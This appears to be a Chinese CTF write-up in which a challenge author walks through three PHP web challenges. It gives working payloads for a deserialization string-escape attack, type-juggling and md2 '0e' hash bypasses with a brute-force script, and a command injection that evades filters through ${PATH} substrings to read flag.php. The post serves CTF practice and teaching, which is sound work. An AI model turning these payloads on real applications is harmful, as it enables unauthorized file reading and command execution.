这次的这个比赛中的web是我和羽师傅还有m3w师傅一起出的,一人一道。
其中最喜欢的是web3 羽师傅出的,真的太有意思啦。感谢羽师傅呢。
还有web1让自己复习序列化知识,感谢m3w师傅呢
web1_此夜圆
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
这道题是m3w师傅出的,在前一天晚上会给我出了一道差不多是题,也是PHP反序列化的字符逃逸
这种类型的题目,百度上面应该有好多,这些就不仔细介绍啦~(懒了 嘻嘻嘻)
简单的分析代码,意思就是我们输入参数进行实例化,然后进行序列化使用函数替换字符。如果满足$this->password===yu22x,就输出flag
问题是:我们不能控制$password
参数
这里利用的就是filter()函数进行替换字符,让序列化的字符数增加了,我们就可以自己构造啦
我们需要在最后构造";s:8:"password";s:5:"yu22x";}
一共是30个字符
输入Firebasky可以增加2个字符,于是简单的换算,就是我们需要输入15个Firebasky
payload:
FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
web2_故人心
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
这道题出题思路是之前atao师傅分享的一道ssrf题,之前写个总结,因为要用来写比赛题就设置了访问只能自己看。
前面的几个绕过是自己之前见过的,但是当时可以通过数组绕过,这里就添加了函数让不能使用数组
第二个的md2是之前强网杯中的md4启发。
这道题思路特别简单就是一层一层的绕过得到flag。
第一个绕过我们可以构造特别小的数字进行绕过,0.000000000000000000000000000000000000000000000001
可以绕过但是这里限制了长度,所以我们就可以通过科学计数法呀
payload:1e-200
这里自己之前测试过window和linux下面的精度都一样是1e-162
但是这个长度要有限制的,即1e-162到1e-323
超过323位会失效
绕过第二个,这个可能有好多师傅想打我吧,有的师傅说电脑跑坏了都没有跑出来。
最后还是羽师傅拿一血。
其实出题的时候自己想都了这个问题所有放了一个robots.txt
,可能好多师傅都没有看到吧。
这里附上之前强网杯的脚本2020强网杯强网先锋之Funhash
<?php
#by Firebasky
for($a=1;$a<=1000000000;$a++){
$b='0e'.$a;
$c=(substr(hash("md2",$b),2));//取后面满足是数字
$d=(substr(hash("md2",$b),0,true).substr(hash("md2",$b),1,true));//取前面满足是0e
if($d==='0e'){
if(ctype_digit($c)){//is_numeric()函数是有漏洞。用ctype_digit();
echo $b."success";
break;
}else{
echo "fail";
}
}
}
#0e652024452 md2
#0e707326442 md2
#0e603448399 hash("md2",hash("md2",$b))
最后放了hint,存在一个robots.txt就暴力破解比较简单啦
注:开头必须是0e
绕过第三个
这里直接就用之前分析过的知识点吧
附上链接:ssrf绕过filter_var函数使用file_get_contents读取任意文件
web3_莫负婵娟
这个是羽师傅出的,羽师傅出的果然不一样。
自己还偷偷地去问羽师傅第一个怎么绕过的,最后羽师傅告诉我让我注重like的用法通配符
嘻嘻嘻,那个时候atao 师傅也告诉了我。最开始一直在想绕过单引号,哎~
参考链接:REGEXP注入与LIKE注入学习笔记
思路就是通过通配符去盲注密码
自己还不会写脚本呢,这里参考羽师傅的payload
嘻嘻嘻,其实这个密码是atao师傅给我的,自己就在bp上面测试了一下。
密码:67815b0c009ee970fe4014abaa3Fa6A0
登录成功是一个命令执行,fuzz了一下可以使用的字符有
大写字母,数字,{ },空格,$,~
最开始自己思路错了,就不介绍了啦~hhh
最后的思路是一位师傅告诉自己的,使用$PATH环境变量来截取字母
这里还可以尝试其他的系统变量(可以通过env查看):
PATH HOME SHELL TERM PWD USER
这里自己是参照自己的kali,应该说正确的是,开vps监听获得环境变量
最后payload
ip=127.0.0.1;${PATH:14:1}${PATH:9:1} ?${PATH:9:1}??.???
意思是nl ?l??.???
总结
这次比赛真的不错哎,可惜自己又不会misc和re。就只能做web,最后还是全部完成啦。太开心啦
还有就是这几天,感谢师傅们的帮助。太多太多师傅啦。